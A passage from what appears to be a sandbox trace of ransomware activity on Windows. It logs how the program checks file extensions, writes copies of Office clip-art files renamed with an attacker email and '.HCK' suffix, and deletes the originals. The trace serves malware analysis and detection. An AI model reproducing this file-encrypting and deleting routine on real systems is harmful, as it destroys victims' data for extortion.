lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString=".bz2") returned 4 [0162.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString=".7z") returned 3 [0162.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".dbf") returned 4 [0162.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".1cd") returned 4 [0162.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".jpg") returned 4 [0162.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".doc") returned 4 [0162.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString=".docx") returned 5 [0162.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.980] lstrlenW (lpString=".pdf") returned 4 [0162.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString=".xls") returned 4 [0162.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.980] lstrlenW (lpString=".xlsx") returned 5 [0162.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.980] lstrlenW (lpString=".ppt") returned 4 [0162.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".zip") returned 4 [0162.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.980] lstrlenW (lpString=".rar") returned 4 [0162.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString=".bz2") returned 4 [0162.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString=".7z") returned 3 [0162.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".dbf") returned 4 [0162.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".1cd") returned 4 [0162.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0162.980] lstrlenW (lpString=".jpg") returned 4 [0162.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.980] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.980] lstrlenW (lpString="J0090149.WMF") returned 12 [0162.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.981] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=28212) returned 1 [0162.981] CloseHandle (hObject=0x380) returned 1 [0162.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0162.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.981] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.981] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.981] GetLastError () returned 0x0 [0162.981] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0162.983] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0162.984] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.984] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.984] SetEndOfFile (hFile=0x394) returned 1 [0162.984] CloseHandle (hObject=0x394) returned 1 [0162.985] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.985] SetEndOfFile (hFile=0x380) returned 1 [0162.986] CloseHandle (hObject=0x380) returned 1 [0162.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0162.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.987] lstrlenW (lpString=".doc") returned 4 [0162.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.987] lstrlenW (lpString=".docx") returned 5 [0162.987] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0162.987] lstrlenW (lpString=".pdf") returned 4 [0162.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.987] lstrlenW (lpString=".xls") returned 4 [0162.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.987] lstrlenW (lpString=".xlsx") returned 5 [0162.987] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0162.987] lstrlenW (lpString=".ppt") returned 4 [0162.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.987] lstrlenW (lpString=".zip") returned 4 [0162.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.987] lstrlenW (lpString=".rar") returned 4 [0162.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.987] lstrlenW (lpString=".bz2") returned 4 [0162.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.987] lstrlenW (lpString=".7z") returned 3 [0162.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".dbf") returned 4 [0162.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".1cd") returned 4 [0162.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".jpg") returned 4 [0162.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".doc") returned 4 [0162.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString=".docx") returned 5 [0162.988] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0162.988] lstrlenW (lpString=".pdf") returned 4 [0162.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString=".xls") returned 4 [0162.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.988] lstrlenW (lpString=".xlsx") returned 5 [0162.988] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0162.988] lstrlenW (lpString=".ppt") returned 4 [0162.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".zip") returned 4 [0162.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.988] lstrlenW (lpString=".rar") returned 4 [0162.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString=".bz2") returned 4 [0162.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString=".7z") returned 3 [0162.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".dbf") returned 4 [0162.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".1cd") returned 4 [0162.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0162.988] lstrlenW (lpString=".jpg") returned 4 [0162.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.988] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.988] lstrlenW (lpString="J0090390.WMF") returned 12 [0162.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.989] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17638) returned 1 [0162.989] CloseHandle (hObject=0x380) returned 1 [0162.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0162.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.989] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.989] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.989] GetLastError () returned 0x0 [0162.990] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x44e6, lpOverlapped=0x0) returned 1 [0162.991] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x44f0, lpOverlapped=0x0) returned 1 [0162.992] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.992] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.992] SetEndOfFile (hFile=0x394) returned 1 [0162.992] CloseHandle (hObject=0x394) returned 1 [0162.993] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.993] SetEndOfFile (hFile=0x380) returned 1 [0162.994] CloseHandle (hObject=0x380) returned 1 [0162.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString=".doc") returned 4 [0162.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString=".docx") returned 5 [0162.995] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.995] lstrlenW (lpString=".pdf") returned 4 [0162.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString=".xls") returned 4 [0162.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.995] lstrlenW (lpString=".xlsx") returned 5 [0162.995] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.995] lstrlenW (lpString=".ppt") returned 4 [0162.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString=".zip") returned 4 [0162.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.995] lstrlenW (lpString=".rar") returned 4 [0162.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString=".bz2") returned 4 [0162.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString=".7z") returned 3 [0162.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString=".dbf") returned 4 [0162.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString=".1cd") returned 4 [0162.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString=".jpg") returned 4 [0162.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString=".doc") returned 4 [0162.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString=".docx") returned 5 [0162.995] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.995] lstrlenW (lpString=".pdf") returned 4 [0162.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString=".xls") returned 4 [0162.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.995] lstrlenW (lpString=".xlsx") returned 5 [0162.995] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.995] lstrlenW (lpString=".ppt") returned 4 [0162.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.995] lstrlenW (lpString=".zip") returned 4 [0162.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.996] lstrlenW (lpString=".rar") returned 4 [0162.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.996] lstrlenW (lpString=".bz2") returned 4 [0162.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.996] lstrlenW (lpString=".7z") returned 3 [0162.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.996] lstrlenW (lpString=".dbf") returned 4 [0162.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.996] lstrlenW (lpString=".1cd") returned 4 [0162.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0162.996] lstrlenW (lpString=".jpg") returned 4 [0162.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.996] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.996] lstrlenW (lpString="J0090777.WMF") returned 12 [0162.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.997] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3332) returned 1 [0162.997] CloseHandle (hObject=0x380) returned 1 [0162.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0162.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.997] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.997] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.997] GetLastError () returned 0x0 [0162.997] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd04, lpOverlapped=0x0) returned 1 [0162.999] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd10, lpOverlapped=0x0) returned 1 [0162.999] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.999] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.999] SetEndOfFile (hFile=0x394) returned 1 [0163.000] CloseHandle (hObject=0x394) returned 1 [0163.000] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.000] SetEndOfFile (hFile=0x380) returned 1 [0163.001] CloseHandle (hObject=0x380) returned 1 [0163.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0163.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString=".doc") returned 4 [0163.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString=".docx") returned 5 [0163.002] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0163.002] lstrlenW (lpString=".pdf") returned 4 [0163.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString=".xls") returned 4 [0163.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.002] lstrlenW (lpString=".xlsx") returned 5 [0163.002] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0163.002] lstrlenW (lpString=".ppt") returned 4 [0163.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString=".zip") returned 4 [0163.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.002] lstrlenW (lpString=".rar") returned 4 [0163.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString=".bz2") returned 4 [0163.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString=".7z") returned 3 [0163.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW (lpString=".dbf") returned 4 [0163.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0163.002] lstrlenW 